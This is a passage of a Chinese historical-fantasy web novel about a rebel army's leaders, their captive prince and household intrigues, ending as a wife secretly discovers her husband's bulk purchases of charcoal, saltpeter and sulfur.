“二妹妹开得好玩笑。”郭显被噎了一下，“你我一般出身，如今沦落贼窠，身不由己，不是同病相怜是什么？” “那怎么能一样。”应怜品那甜杏仁，颇觉着味美，便又多用了几颗，“我在此处，入得府署、出得江宁，街头巷尾走得，游园瓦肆去得，正是如鱼得水；而你却连院儿都出不去，心腹人半个不见，怎么会是同病相怜呢？” 郭显那笑便闪了一下神，停了手，半晌道：“你从前可不是那样喜欢戳人肺管子。” 应怜不理睬他，自顾自搓那焦黄的杏仁皮，一会儿，桌上聚了一小撮。而后她才抬起头来。 “说真的，殿下，我真搞不懂你这是闹哪一出。”她道，“你本有七千精兵，纵然打不赢，逃回去总是绰绰有余的。你却束手就缚，玩儿似的。如今做人阶下囚，滋味可好？” 郭显笑了，“阶下囚总比取死好。纵我浴血奋战，赢了又能如何？如今爹爹沉疴难愈，太子哥哥与三哥闹成那样，我可不想平白被卷进去。” 应怜蹙眉，慢慢领悟到了他的意思。赢则进、输则退，他已是天家龙子，再进一步，还能做什么？ 郭显于是抱着琴，竟未着履，就这么下了围榻，“别老皱着眉，多烦心。来抚一曲吧，我尚记得你的琴音最好，不知如今有无精进？” 他将琴搁在桌上她面前。 “你觉得，他们谁能做天子？”她不碰琴，却问。 郭显心道：这二年未见，她竟比从前胆大了许多。 “我知道你心想什么。”他道，“这样，你抚琴一曲，若不比从前差，我告诉你个好消息。” 应怜将信将疑地瞧着他，末了选择了相信。 她将以往在扬州二十二贯买来的一支残谱，与他奏了，听得郭显眉头紧锁，半晌评道：“什么乱七八糟的。” “你不懂，这是南人高妙的琴心。”应怜道。 郭显真的不懂，难评优劣，只得按下这茬，道：“想来迟不过开春。若是太子哥哥即位，你便能回洛京了。” 应怜愣住，好半天明白了他所谓的“好消息”。 她父亲是太子的老师，兄长与太子尤其亲厚；他们蒙冤遭诛，有朝一日太子登基，定会为其昭雪。那时节，她便再无需隐姓埋名，旦夕便能恢复荣华。 这是她从前心心念念所企盼的，可如今从郭显口中听来，却蒙上了一层轻飘飘的不真实感，一时间所想竟不是喜悦，而是荒谬。 所谓翻手为云、覆手为雨，他们皇家倾轧、兄弟内斗，便教她的家人填上性命；一朝时又说：杀错了，真对不住。 应怜心绪难平，久久盯着郭显，盯到他心里犯嘀咕，问：“你不高兴么？” “我阖家满门如今只剩我一人，你说我高不高兴？”她话里死水无波，平寂得吓人，“且你也说了，太子还保不准能不能即位。我容后再高兴吧。” 郭显长长叹了一声。 “你想弹什么便弹些什么吧，我都爱听。”他复又回了榻上，侧卧其上，正对着她，形容不甚整齐，“树欲静而风不止。我倒想做个安安分分的质子，却只有在二妹妹跟前，才能真正静一会心。” 没了外人搅扰，他在她面前，放空了心思，阖上眼，听那淙淙的琴音，虽不成调，却如天上流云、溪涧泉水，信手拨来，尽是往昔思怀。 他当真睡了过去，续上了今日的午觉。 再醒时，却是如意篆香燃过大半，一问，竟已申末了。 应怜早不知几时已离开，他自己却身披了一张裘氅，暖得一时懒怠起身。郭显也暗觉稀奇，自己向来警醒，今日却何时她走、何时来人披衣，他竟一无所觉。 还是那琴声太催人欲睡了。 他欠了欠身，眼见着外头擦黑，却一发神思清明起来。恰是外头人听见动静，进来问了晚食。 郭显只道随意安置。从人去后，不过一刻，又有客至。 这回来的是戴鬼面具的青年人。 “鬼面将军。”他颔首。 从人备置了晚食，同午食一般六七样，郭显便招呼：“将军晚食已用否？不如一同饮几杯酒。” 鬼面人身量修长高挺，立在屋门口，外头已落黑的寒夜衬着，总有一种幽冥里现身的压迫。 郭显一向晓得，他从不与人对坐用食。那是他毁了脸容之后，养成的习惯。 不过饮酒尚可。郭显亲执酒盏，为他斟了一满杯。他便微一掀面具，如鳞片布满的喉间凸起倏忽滑动，吞咽下所赐绿酒。 “今日宾客络绎，先是舟横先生，再是吴先生家眷、又柳娘子；这时分你来，陪我一杯酒。”郭显在明晃晃的花枝灯烛之下，自饮了一杯，缓缓一声叹，“快哉。将军果真不与我同桌饮食？” 鬼面人什么也没说，只是将酒盏还搁在桌上。 他日日都来，也没什么话，不过饮一盏酒，或一杯茶，短暂歇上片刻便走。郭显却从不因此意外或不满，任来任去，仿佛与他有什么默契一般。 起初旁听的从人还支起耳朵，想 听个只言片语，好回头报说与赵芳庭；渐渐地从人连看也懒得看一眼了。 果然，这一杯酒后，鬼面人抱拳一礼，转身便辞。 从人对他每日匆匆来去的行径，只领会出一种含义：这是例行的视察，为的是亲瞧一眼这位殿下是否还活着。 他走后，郭显独自饮食，这一顿便再没受搅扰，直到夜深。 第103章 第103章单铮的一天 这日休沐。 单铮习惯了卯初醒起，难得今日闲散，又被折柳迷迷糊糊缠着，便多留了一会子。 早上火气格外大些，馨暖如春的室内，有她懒懒地挂在自己身上，动一动便往脖颈里蹭，方切悟何为温香软玉。 他有些意动，这些天的食髓知味，轻抚一抚，三分的火气便窜成了七分。 折柳也随性，懒怠睁眼，任他施为。 好事正酿了一半，不上不下的当口，忽听得外头喧嚷，却是从人正与个半大小子说话。 说话的是陶岳，“我都起了，义父怎么还不起！说好今日教我枪法，他却怎好睡大觉？” 一沓忙乱脚步，从人拦阻：“小郎君稍安勿躁，去花厅吃些蜜茶，再略等一等！” …… 撩起的兴致被搅扰，折柳把他掀下去，吃吃地笑起来，“你的好干儿……去吧，别教孩子笑话。” “……再一会子。”单铮亲她，话有些含糊。 折柳却不依，“你这一会子，他茶都要多吃三碗……好了好了，你去就是，我等你。” 她取来早熏好的衣裳，为他穿戴。单铮只得偃旗息鼓，才穿整好了，外头人进来，备下盥洗时，那皮猴儿又忙不迭地跟进来，手里尚托一盏蜜茶，咂摸咂摸两口，上蹿下跳地为他递青盐、递茶水、递手巾，毛手毛脚地殷勤。 单铮哭笑不得，一会儿，里头掀帘出来了折柳，略略拢了散发，也不动手，只坐一旁瞧着。 陶岳献殷勤之余，又干脆利落地向她一拜，“义母。” “哎！”折柳笑得合不拢嘴。 “我一个时辰便回。”一应齐备了，单铮教取来自家精铁枪，向折柳道了一句；见她满腹心神，大半却在那小子身上，心念一动，偏头凑过来几分，声儿轻轻的，“咱们以后也生一个。” 折柳那笑才凝在脸上，想说什么，他却已往外走了。 去后府署校场的路上，单铮问陶岳，“小山，你想家么？” “不想！义父与叔伯们待我都好得很。”陶岳道。 而后转过连廊，到了空地，猴儿似的皮实才慢慢多了一分窘迫。陶岳抓抓总角，有些难为情：“……有一点。” 单铮笑着拍了拍他脑袋，校场上，丢给他一柄比寻常枪身更短小的铁枪，那是特为他锻制的，“以后得了空，我与你义母再去沂州，便带你归家，如何？” 陶岳道了声“好”，执枪杵地，想了想，又觉不妥，“义父以后日理万机，我怎么好搅扰？还是我自个儿回去吧。” “日理万机？”单铮觉得有意思，“谁教你这话儿的？” “十八叔。他说你以后要做皇帝的，做皇帝都是日理万机。” 单铮立了片刻，在孩子跟前，便不再揪扯这话题，拉开步势，枪杆一拍他肩，“行了，上回教你的‘斜挑千山’一式，耍来我瞧瞧。” “是！”陶岳一双乌皂的眼陡亮，更凸大起来。 一大一小，便就蒙蒙的天色中，纵横来回，攻者迅猛、守者沉稳，练起了同源异势的枪法。 如此往来，一个时辰。 休沐日，陶岳得了解脱，不再要去学堂跟随柳娘子学那之乎者也。单铮便叫来两三个枪法出众的，陪着他继续耍练，自个儿则料理别的事去了。 天色这才大亮，日头斜升，单铮依原路返，回到后宅，想折柳这会子不知正做什么，也许在梳妆。 果然所料不差，才进得屋，见内室一帘儿掀起，半露着折柳花玉似的侧脸，两个女使在左右，正替她髻上玲珑小冠旁簪带朵的红梅。 梅香如玉砌冰晶，在这蓬莱暖春的室内，勃勃地发散，浸得单铮心中一角软了下来。 他退了女使，来到她近旁，同在鸳鸯相缠的镜里，亲自替她将一簇梅花攒上。镜中人鬓发婵娟、修眉横翠，一双盈盈的眼眸一眨不眨盯着他，而后偏了半个头，眉梢眼角里携着淡淡情意，将他勾下身来，亲吻温存一晌。 单铮怜爱她已极，坐下来，将她纳在怀中，半晌才想起，“你吃过了么？” “等你呢。”折柳就着这略显浮浪的姿势，向镜里观瞧，脸晕了霞红，秀美的指尖唇上轻抹了抹，将被他吃花了的胭脂勉强匀了。 他也有些脸热，才要带她起身，去用早食，却觉折柳轻扯他衣袖，开口时淡淡地有些忐忑，“我有一事，要与你说清楚。” “你说。”他微笑。 “我……难有子嗣的。”折柳低着头道，“恐怕这辈子，也不能为你生个一儿半女。你总要有后，不如……” 单铮一愣，恍然悟起，先前竟说错了话，却教她勾起了伤心事。 他抚了抚她下耷的眉眼，想了片刻，问：“你跟我，是为了荣华富贵么？” “自然不是。”她纳闷。 “那我娶你，又怎是为了子嗣？”他慢慢地安抚，“像我这样行大逆之事的人，纵有子嗣，也要遭我所累。不如就咱们两人，图个轻省。” 折柳眼睫微颤，勉强有了点笑意，“不许说丧气话，我等着见你封王拜相呢。” 单铮抱住了她，如拥了珍宝在怀，将心事一点点剖来与她，“我从未想过封王拜相，更未想过什么大位。我那时反出，心中只为报仇；一步一步走到此，又添了为兄弟百姓立命的想头。他们信我，我便不能负人所托。但若此间事了，我不愿坐在富贵权势之上，一辈子无所寄托。你可要随我遍游九州，见山河风光？” 折柳睁大了眼，望着他。 她心中慢慢地随他的话而勾勒出山河轮廓的胜景：玉门关外无西虏，千家灯火照长城。好一个河清海晏的大天下，容得下他们两个尘埃一般的人走遍，再无所累。 她从未想过，她的未来，竟还有这样可能。 “……好。”折柳久久说不出话，只能吐出这么一个字，又点头，怕他反悔，“好、好！” 单铮笑着亲了她嘴角一口，携她起身，“那好，咱们先去用饭。” 虽是休沐，作为主帅，他却一日也休不得，总有不分白昼黑夜的事务堆积起来，等他决断。 巳时，单铮来到府署正堂，处理公务。 这里就如一个小朝廷，各班各房的值官都有。其中权力大者，有采买度支的王渡、民政刑律的林文贵、军政粮草的赵芳庭，余下各人等分管调度，有如鸿毛鳞羽，一支一缕皆丝毫不得差池。 各主事已将文书分类齐整，只等他最后拍板。这一日的文书摞起来，也尽够一二尺高。 单铮一边核查批阅文书，莫名便想起陶岳的那一句“日理万机”，不由得心叹，才 江宁附近几个州县，忙乱待核之事已多如牛毛；真如龙座上天子，管着率土之滨，一天十二时辰，恐怕连如厕的功夫都难有，他竟有闲情逸致纵情声色。 怪不得百姓无依。 赵芳庭也在值，只在隔壁处理些事，又随听他招呼，问些事理。两下里埋首到日午，赵芳庭唤来从人，“几时了？” “午时末了。”从人道。 “竟这样晚了！”赵芳庭欠身神了个懒腰，到外头来请单铮，“哥哥，左右过了饭时，咱们歇一歇。我正巧晓得有一家食店，古董羹的吊汤最是鲜美，咱们去尝一尝，好不好？” 单铮也意动，批完最后几道文书，一发来了兴致，“行，只是人少寡淡，不如将宗契、大仁几个叫来，咱们一道去吃。” 大仁是钱美的字。他家远些，赵芳庭当下着人去请；杨兴、李三郎正值在校场里射靶子玩，一会功夫便兴冲冲地来了，几人一道出府，顺着路去寻家住附近的宗契，一伙同去吃古董羹。 一行马至宗契家门口，入到庭院，见从人小乙笑道：“将军们来得正巧，一道来瞧高僧那写真！京城里来的孙娘子妙笔圣手，当真画得绝了！” 原来正有一丹青手，号孙娘子，据说曾做过朝廷画贡院的翰林待诏，尤其善人物写真，近日不知如何，来到江宁，阴差阳错被以往相识的柳娘子逢着。故人相见，百感交集，便请入家中，这一日为宗契画了写真。 众人攒簇着进到厅堂瞧稀罕，果见当中堂上坐着一人，簇新的青灰直裰，皂色领缘硬挺利索，更勒衬得肩宽体魁，云霄的青松一般。 他本就目清而神俊，眉宇间更有一段由心生的英气，比之常人出类拔萃；却偏偏出在尘世之外，一点禅性悟在仪态之中，与丈夫气概融成极为醒目的一体，教人心旌随动，难移眼目。 那对面作话的孙娘子，凝神静气，纸上丹青一一作来，不知不觉之间，竟肖得了十二分神意，将眉眼身形里出俗的禅性蓦写得明晰澄澈，教人惊叹。 单铮等人屏息立于左右，惊异满面，愈发心驰神往。杨兴便轻声道：“这娘子好神异的丹青！好不好我也请了家来，写作一幅！” 孙娘子置若罔闻，依旧作她的画，却纸上人面相看了良久，蹙眉不语。 宗契向各人一点头，见孙娘子久久不动笔，问：“可已好了？” “尚未。”孙娘子面貌清秀，却自有一股无可撼动的严肃，使人不敢调笑，“你心中所想为何？” “无物。”宗契不解。 “有神，无情。”孙娘子评价，对所画不甚满意，却一时难更描摹，不觉踟蹰起来。 一旁单铮看了又看，把画几欲看穿个洞，觉着已是大妙，“拿出去画影图形，一逮一个准。” “哥哥，孙娘子丹青臻至化境，哪是街头那些庸笔可比。”赵芳庭啧啧称叹，“至此，意已不在一颦一笑，而是个中性情了。” 说话间，屋后的帘儿一掀，冷风乍携着一股若有似无的寒香入内，却是应怜带着女使茜草而来，见几人，行了一礼，便教茜草将才煎得的茶沏了与新来的客。 那一点幽微的寒香，便被甘美的茶香盖过。众人见茶中膏腴如细雪，食之清苦却回甘无穷，称赞不绝。应怜亲捧了一盏与宗契，望望孙娘子，低声与他说了句什么。 宗契不觉扬唇，笑入眼眸。 孙娘子眼一亮，蘸了墨，往那眉目间极细微地飞了几笔。 那寥寥数笔，便好似龙目生睛，霎时点得一个出世的罗汉，生出了人世间的鲜活；所谓得一缕造化神秀，不过如此。 她落完了笔，长舒一口气，“成了！” 众人争相细看，赵芳庭抚掌赞道：“娘子非止妙笔，堪称神异！比阎公又如何？他凌烟阁上二十四将，哪个比得上我宗契兄弟如谪降的星宿！” 应怜也去观瞧，久久目望，不觉动容；又越过一幅丹青，笑向宗契，半晌未得一语，却早有诉不得的情意满目。 墨迹未干，孙娘子留画在案上，收拾笔墨箱奁，与应怜说话：“几年前我避祸离京，只道失了画贡院的老师，画艺再难精进；未料失之东隅，收之桑榆，由此见了人世间种种，生、老、病、死，离别、相会，万般苦乐，皆是人情。千般形状，唯情相通，一乞儿之情，未必不如王侯。” 应怜道：“多年不见娘子，如今见你，比之曾经又少了几分孤傲，颇有悲悯心肠。假以时日，必成一代传世的大家。” 孙娘子笑了，“你还说我。你自己不也是？往常眉间孱弱娇怯已尽褪了，爽利些才好，我瞧着喜欢。” 这头里，几人争相邀了孙娘子作写真，见已晌午未时，连钱美也来到相催了，便扯着宗契去吃古董羹。 也不真为吃，相熟的兄弟几个一处乐一乐、玩闹一场。 一晌间热闹过了，单铮并未回府署，又同着赵芳庭，按例到了城外，军中巡察一回。 江宁城郊原本有些零散低矮的茅舍，如今城外住的孤老弱小早已被迁至城中。长长的一带，却磊起了砖土的屋舍做军营，外拦木栅辕门，俨然与府城相对的一小城寨；由此而外，一面开拓良田，一面又集聚了做买卖的商贩、浆洗、勾栏，手艺匠，甚至一些个艳妆的妇人，心照不宣地做些军营里的生意，一派安稳热闹的光景。 这些好的坏的，俱是屯兵周遭常见。单铮深知水至清则无鱼的理，定下了不扰民的军纪，只要不违反，便睁只眼闭只眼过去了。 军中也有休沐，只是放假不放人，大小兵士们只在营周遭转转，不得离营入城。单铮于各军查过一遍，处理些报来的军中事务，看一回校场比射，也就过了。 今日却逢一节外生枝的事。一个老儿哭天抹泪在辕门外，正被守门的小校轰走；恰撞着单铮，这才道出缘由，竟是某营中一伍长，因见其女有姿色，便杀其婿，占了此女。一问，已是月余前的事。 单铮震怒，拘来该营的校尉责问。此事露了，哪经得起一来二去的问责，日头未落，干系人便都跪在了单铮跟前，原委已清清楚楚。那伍长因是校尉的同乡相熟，仗着这层关系，犯了军纪，压下事来。 那女子哭哭啼啼，诉说冤屈，情愿回去家中。单铮教老儿领了女家去，又抚恤了钱财。父女俩千恩万谢，磕了一连串头，泪眼婆娑地相携着走了。 单铮留下来处理犯事的二人，教赵芳庭亲自督查，又问军纪。 赵芳庭道：“**者，杖八十；杀无辜者，市口斩首；藏匿罪业不报者，按等视之，此桩官司，应杖五十、罚饷半年。” 单铮点头，“再核查。核查属实者，按律处置。” 任那伍长怎样讨饶，单铮不动于色。见他如此，那校尉也不敢再求情了。 干系人带下去后，他默想于中军帐里，直到赵芳庭回来。 “你说，我该下令军中严查么？”单铮揉了揉额角，问，“此种藏污纳垢、压瞒不报，军中必不少见。若令彻查，该如何？” 赵芳庭道：“哥哥不必如此，纵查，又能查出几桩？人性本如此，一味清正，反失了军心。哥哥将此事交与我，斩下人犯头颅后，但只挂在城头，示众三日，张布榜文，严明教化即可。另外，年节将至，我打算搭个高台，选拔军中勇士角力，胜出者予以提拔嘉赏；一来扩充人才，二来以示赏罚分明。既能严肃军心，又可吸引更多百姓来投。” 单铮觉着有理，“好，就这么办。” 说罢，想到赵芳庭办事牢靠、心思缜密，卸下心神之余，左右近旁无人，说话便不经细想，他叹了一句：“若说做皇帝，十八，你可比我合适。” 未料到赵芳庭面色陡变，嗫嚅一刹，竟跪了下来，慌得单铮来扶，“玩笑罢了，好端端的，你做什么？” “求哥哥今后莫再说这话，我当不得这玩笑！”赵芳庭真不是做样子，脸都白了，急道，“我的诚心，哥哥难道不晓？你只作玩笑，若教有心人听去了，徒生事端；那时不是逼着 我去死么？” 单铮怔了怔，“我再不说这话了，你起来。” 一场尴尬，这才消弭。 可直待赵芳庭走了，单铮半晌心绪不平，回府署的一路上，骑着马颠颠荡荡，想了一路的心事。 日头落了，夜升上来，百姓家里也有点灯的，也有吆喝饭菜的，也有拌嘴啼哭的，多的是市井中烟火。想来无论数载，朝代更迭，左不过众生芸芸，草芥而已。 他忽又想到前些日看过的汉家旧事。汉高祖斩白蛇起家，一路征战辗转，也有多少良将知己舍命相随，寒微之时，未必不如自己这伙弟兄们深情厚谊；可一旦功成，到底鸟尽弓藏，杀光了功臣。 难怪十八那样惶恐，竟是自己所虑太不周。 可他若真坐上那个位子，有朝一日，还会像今日所想么？ 就这么胡思乱想着，回到了府署。 折柳早备下了晚食，二人用饭，各自说些今日之事。单铮便把辕门外那对父女的遭遇说与了她听。 折柳听罢，点头若有所思，“此女果真有些志气。” 单铮怪道：“这又怎么说？” “你不晓得，这样事我见过不少。有那自认倒霉的，想着左右生米煮成熟饭了，便认命跟人过一辈子的。”折柳道，“……别大惊小怪，世情如此，到底她牵扯官司在身，再不好择人家。过日子呗，还能怎么着？便不说她，只咱们李娘子，舟横先生的内眷，还是什么‘广陵县主’呢，教丈夫打了，还不得忍气吞声，跟着他过？也没见和离怎的。” “这又是几时的事？”单铮皱眉。 折柳道：“就前两日，秾李来说的。为着个奸。情的丑事，闹将起来，那小厮受吴官人看重，舟横先生处置不得，便冲李娘子发作，据说那一巴掌打得可狠呢……” 人家关起门来打老婆，还是最搅不清的内闱私事，单铮虽不认可，也没得去干涉。 戌初至亥正，单铮照例在书房看书。 不知多久，折柳带来的小女使琥珀来报，“娘子来问，将军可歇了？” 他正看到一节《萧相国世家》，到精彩处，便道：“再过一刻。” 琥珀便去了；一会儿又来传话，自个儿哈欠连天的，嘟哝：“娘子说挨不住困，她先睡了。” 单铮失笑，给琥珀抓了两颗林檎果，“你也去睡。” 琥珀一瞬时抖擞回了精神，喜滋滋去了。 他便将这一篇《世家》反反复复咂摸了几遍，直待灯烛芯高烧了，外头锣鼓敲了二更四点，这才惊觉，已快入子时，晓得夜深，出了书房，蒙冷风一吹，却了无睡意。 外头从人即来为披一件裘衣，他忽想起一事，便问了一嘴，“西院里炭可还尽够？” 西院荒僻，却住了人。重重守卫里，押着个郭显。 不料从人面面相觑，一个道：“咱们万不敢短了石炭。他自个儿疯魔，入了夜不睡，才坐在庭院里吹冷风呢。” 单铮纳闷，担心有事，索性教人取过灯笼来，令他们去睡，自个儿抄了灯笼，去到西院一瞧。 一路上自有守卫值夜，实则即不提灯笼，也亮堂得很，七拐八弯，灯烛堂皇地照进西院郭显的住处。 守卫远远见着便来行礼，单铮摆手，示意过了，趁着凛风寒霄，来到近前；还未入院，却依稀听到几声对话，是从人呼啦啦着急着慌，劝说郭显回屋。 郭显的声音打着寒颤，拐过院墙来，清晰入耳： “你们都回去……我再，待一刻。这不算什么，有裘有袄，好歹冻不坏我。” 从人苦劝，“您身娇体贵，哪比得上咱们糙实，有裘袄也不成呐！” 又有人埋怨道：“殿下哪里是体恤穷苦，分明没苦硬吃。想咱们从前，塞几根草杆、稻草窠儿里窝一宿，熬便是了。您倒好，有暖腾腾的屋子不住，非要折腾！” 郭显一时没声儿。 好一会儿，他才又寒噤着问：“你等，从前过得很苦么？” “还成吧。”说话的人并不大在乎，满心只想着把他倒腾回屋，“家兄弟姊妹十二个，死了八个，卖了三个，我吉星高照呢。” “你是哪儿人？”郭显又问。 “衢州。” “衢州江南地分，物好水美，怎么，不得过么？” 那人道：“咱没见过什么物好水美，只晓得出趟河，捞得着鱼、捞不着鱼都得交鱼课，还得与拦头好处。前二年舟子教官府征去了，鱼科还得交；兄弟死了两年，不得钱祭扫，却还得交身丁钱。” 郭显又沉默片刻，“……便跟着单将军反……揭竿了么？” “那倒不是，”另一人嘲笑，“他是个耳朵软的，屋头被运花岗石的拆了，没地儿落脚，同乡怂他来投，他便来了。” “那你呢？你为何投宁德军？” 此人骂骂咧咧开来：“恁地直娘贼，刨粪吃尿的狗彘！进花岗石的阉人征咱去挖石头，又抢了咱浑家——” 话太过粗俗，不忍耳闻。 郭显无言半晌，窸窸窣窣，起身离了庭院，不再硬扛冷风，问：“单将军，待你们好么？” “单将军是咱救命的恩人！”那几个七嘴八舌，话里分辨不清，“若不是他带人来，咱早饿死了！”“单将军不单发饷银，还发给丸药，我老娘也能活了……”“严明清正，比那些赃官好多了！” …… 单铮一一将这些话，听在耳中，原本想要近前的脚步缓了缓，止息在院外角落。 风起了，那里头谢天谢地，是郭显终于咂摸出了民生疾苦的滋味，不折腾自己，也不折腾下人了。 “我往常总觉着，自己命途坎坷，原来竟是无病呻吟一场。”他道，“这天下，有的是人比我难，活着就已不易。” 他在从人松了一口气的埋怨嘲笑里，慢慢地回转在屋檐下。 冷寒的夜，浓云阴翳，并无月光，唯地上点点灯火。风一起，吹得火光晃荡，单铮以手轻笼灯火，走出几步，到了院口，正见连屋的廊中，那位殿下被人簇拥着，回屋前最后望了一眼暗沉沉的庭院，不期然与自己的目光相遇。 二人一个院外、一个廊下，隔着岁暮寒冬，相互望见对方沉默的身影。 单铮点了点头，郭显面色淡淡，也颔首致意，彼此无话，转身而别。 唯灯火映明，照亮一瞬的眼眸如星、如燎原的火。 他是个英雄。郭显迈进门槛时想。 他是个君子。单铮离开西院时想。 第104章 第104章山雨欲来风满楼 宁德军过了个安稳的年。 所谓“安稳”，是因为洛京里的老皇帝实在病笃，新旧交替之时，自顾不暇，压根分不出心力来解决江宁的叛乱，短时间内再无兵马打过大江来。 安稳是安稳了，却并不大热闹。一来百姓早被折腾得家无余财，二来在这宁德军盘踞的地界，到底不敢放开来玩闹。 这年关稍显冷清地过了。便有人提议，年后的上元，由宁德军主持，办个热热闹闹的节庆，好洗一洗那萧条的景象，安定军民人心。 提议的人是王渡。他因有着扬州大贾的底子，如今管各方度支，井井有条，直是如鱼得水，使人信服。 可到底办节庆不是小事，所费资财甚广；以吴览为首的一些人，便不大乐意去办，主张节俭为要。 赵芳庭却认为此议可行，民心远比钱财重要，城中一味的萧条冷落，更是留不住富户贵绅。 两方争议摆上单铮的案前。末了裁决下断：依王渡所言，预备上元节庆，但不可靡费过多，图个热闹便可。 谁主张、谁办事，况王渡本就负责采办事宜，这事交他来做，最合宜不过。 王渡过了年，便忙开来，忙碌之中，又不无得意，只因言行可左右宁德军，连进出步履都风光了一些。 处处风光，唯李定娘给他添堵。 他不常归家；即便归家，也绝不与她同床共宿，并非嫌弃怎的，那因由连自己也不好启齿。 ——他怕枕边人害他。 李定娘到底有无这个狠毒心思，他不敢去试，因此不仅不与她同室而处，也绝不用吃经她手的饮食。养着她，全为的是自己一点脸面与名声。 这一回操办上元节庆，预备的时日颇短，王渡便急急地忙碌开来。 他较之从前，行迹却有些不寻常。 李定娘毕竟不是真的摆设，总有一回两回见着或听着他在书房里与人谋划。那些个人却眼生，也不是家人、也不是他府署里常用的人，倒有一股子说不上来的精明与匪气。 他不在外头谋事，却闷头在家中见些不三不四的人，她便起了几分疑心。 她从不能独自入书房，那里总守着个他最心腹的人，唤作王温，是从扬州一路跟随来的家人，向来只听王渡之令行事。每每他与人书房说话，王温便在外警醒，任何人都靠近不得。 李定娘直觉有些不安，也不止一次从旁敲敲边鼓，想探个底，“上元节庆事大，你怎么反倒一日日闷在家中？你不亲自去巡看，难道只嘴皮子动动、喝令下人们去做就行？” 王渡只道：“你自安分守己，没得来管我的事！” 说起来好笑，上回袁武的事高高拿起、轻轻放下，还是托了为质的六皇子的福。否则，王渡怎会只一个巴掌了事。如今他对她，纵是心中厌恶，面上却得客气一些。 看他言辞避重就轻，轻飘飘地揭过，李定娘越发觉着书房里有些什么，便起了摸进去观瞧的心思。 瞌睡来了递枕头，恰逢这日，却不期然有客至，王渡殷勤相接，就在家中设了场宴，款待来客。 这客不是别人，则是与他私交不错的赵芳庭。 赵芳庭晌午来，为的是与他商议上元采办的事宜。王渡便顺理成章留客至晚，当下命厨房备酒肴饮食，便在花厅设下了宴，找了几个幕僚清客作陪，又唤些乐伎歌舞来 ，面面俱到。 席间，李定娘作为女眷，自也要来拜见，又饮了几杯醇酒，脸面儿上酡红一片了，这才告失陪，携女使退下。 出离花厅，李定娘带着女使转过一廊，到了条岔路口，正望见依稀高张的灯笼半明处，书房的院儿只在岔路百来步远；四面静悄悄的，花厅的笙箫乐动已听不真切了，便佯作头晕，指使女使，“我走不动了，歇一会，你去给我灌个汤婆来，再将我那条厚实些的狐裘取来。” 女使踟蹰，“此处地僻，主母一人怎好待着？我搀着您慢慢儿走吧。” “谁要你多嘴？”李定娘却恼了，指着她脸门道，“你才来多久，只认得你主君，不认主母了么？你若不听我话，我还将你还回人牙子家！” 那女使晓得她脾气孤拧，也不敢还嘴，吓得一溜烟去了。 那才前脚走，李定娘后脚便溜进了书房。 书房的廊下，照例守着家人王温。严寒的天气，他却尽忠职守，廊下干立着，也不叫冷，面上冷硬，一如寒铁，望见李定娘晃晃地来了，一皱眉，迎上前：“主母，您怎么来了？” 李定娘将手揣在羔羊裘的手套子里，左右望望，一双柔丽的凤眸落定在他身上，“大冷的天儿，他们在花厅里吃酒耍乐，却教你独个孤零零地守着，真难为你了。” 她走近了，与他一起在廊下，一身暖融融、香氤氤的气息便迎面袭了来，王温有些不自在，低了头，“这是小人的职守所在。” 她却还不停步，又来了一点，这便要凑到他面前了。 离得又近些，王温便闻到了暖香里的酒气，浅浅的一缕，有些醉人，又有些惑人。 他不自觉后退，脸面有些红；李定娘却得寸进尺，更前一步，直将他逼得向后靠了墙，又见那一张桃李生春的脸，唇上红润润的，噙着一点笑，说话轻了些，便更没些份量，缠在他耳畔周遭： “官人唤你过去，我却不想你走呢。总之他那处也乐着，不若你与我在此也乐一乐，教你晓得这‘主君’是怎么个做法？” 王温一僵，却接住了个温软纤细的身子，什么东西灵蛇似的攀上了他腰间，将他紧紧地一缠，教他心肝都颤了起来。 那声音柔媚，也像蛇儿似的攀缠着他，还在继续：“我从前见你就喜欢，只是你实在冷脸冷心，见我也不假辞色，连说句体己话也不肯，我只好去找旁人了。” 她与那袁武拉拉扯扯、家中大闹的事，别人被瞒在鼓里，作为心腹的王温却一清二楚，这时节也不禁有些晕乎，只觉主母这私情来得忽然，只是殷勤的对象成了自己时，怎么也有些飘飘然起来，一面鄙夷此女果然浪。荡，一面又忍不住想窃一窃这香玉一样的人。 那双软腻生香的手在自己身上胡乱摸索，身子也挨蹭。王温心旌神荡，才想着她既送上门来，没有不收的道理，忽猛地震神，暗骂自己鬼迷心窍，这又不是一般的家妓女乐，她高高在上的一个主母，哪是自己随意淫。乐的人物？怕吃不得肉，反偷得一身腥。 想到此，王温一刹惶恐起来，情急之下，胡乱将她一推，闪开几步，慌乱心神，一时抓住个由头，道：“主、主君唤我，我这便去！” 李定娘阴晴不定的脸色，在灯笼的照映下，恍惚透着几分嘲讽。 王温迫自己拉回了心声，不敢再说什么，一转身，几乎落荒而逃。 直待他身影没了，李定娘嗤一声笑，整了整衣裳领口，手里捏着个物事，嘲笑此人鼠胆，送上门来的肉，连一口也不敢下嘴。 她攥着从他腰间摸下来的钥匙。 锁开的那一瞬间，她却又仿佛听到那个来自心底的、一模一样的嘲讽的声音： 你心中，还剩什么可值得坚守的？人的信义、女子的坚贞，你一样也不剩了。 她回想起方才那一连串做来干脆利索的勾。引，心底也没什么波澜，竟更有些可惜。 可惜王渡在花厅里吃酒。若恰撞见这一幕，想必他定要气得脸成猪肝色，保不准便一刀砍了那王温。 这么想象着那快意光景，她下了锁，回身关了房门，先摸到一支蜡，折了半截烛心，点成一豆小小的灯火，勉强照亮一角，一手倾着灯烛，迅速翻找。 桌、案、书页、箱奁，一处一处，细细地搜检，终于在一本《黄石公三略》中，翻出几张薄薄的纸页来。 映着烛火，她一点点地看，似乎是几张钱领，上头白纸黑字签着王渡的花押，买的物事却怪，有木炭、盆硝、皂角、硫黄等物。非止一二斤，量却极大，仅是那木炭，便要二三百斤。 家中所用皆是石炭，他要那许多木炭作甚？ 还有盆硝，若说用来制冰，可这会就是严冬，用冰的话，去山上凿就是了，用得着一二千斤盆硝么？这样大的份量，他搁哪儿？ 李定娘疑窦重重，直觉这东西有异，又仔仔细细瞧了五六遍，默记在心中，才原样儿收好，又找了别的一阵，再无所获，吹熄烛火，蹑手蹑足出屋落锁。 那钥匙她则随意丢在廊下，黑沉沉的夜里，在灯笼下反射一点细碎光亮。 待坐回岔路口的廊下栏杆上，也才不过一刻功夫，恰巧逢见才赶来的女使匆匆而来，她佯作无事发生，便换了裘衣、接了汤婆，好整以暇，慢慢地回了后宅。 再说那王温，着急着慌逃出书房院儿，还未到花厅，一手摸到腰间，摸了三四回，吓出一身冷汗，最后一点欲而不得的惋惜也灭了。 那钥匙好好儿挂在腰带上，怎样说没就没了？若教主人家晓得，还不得打死他。 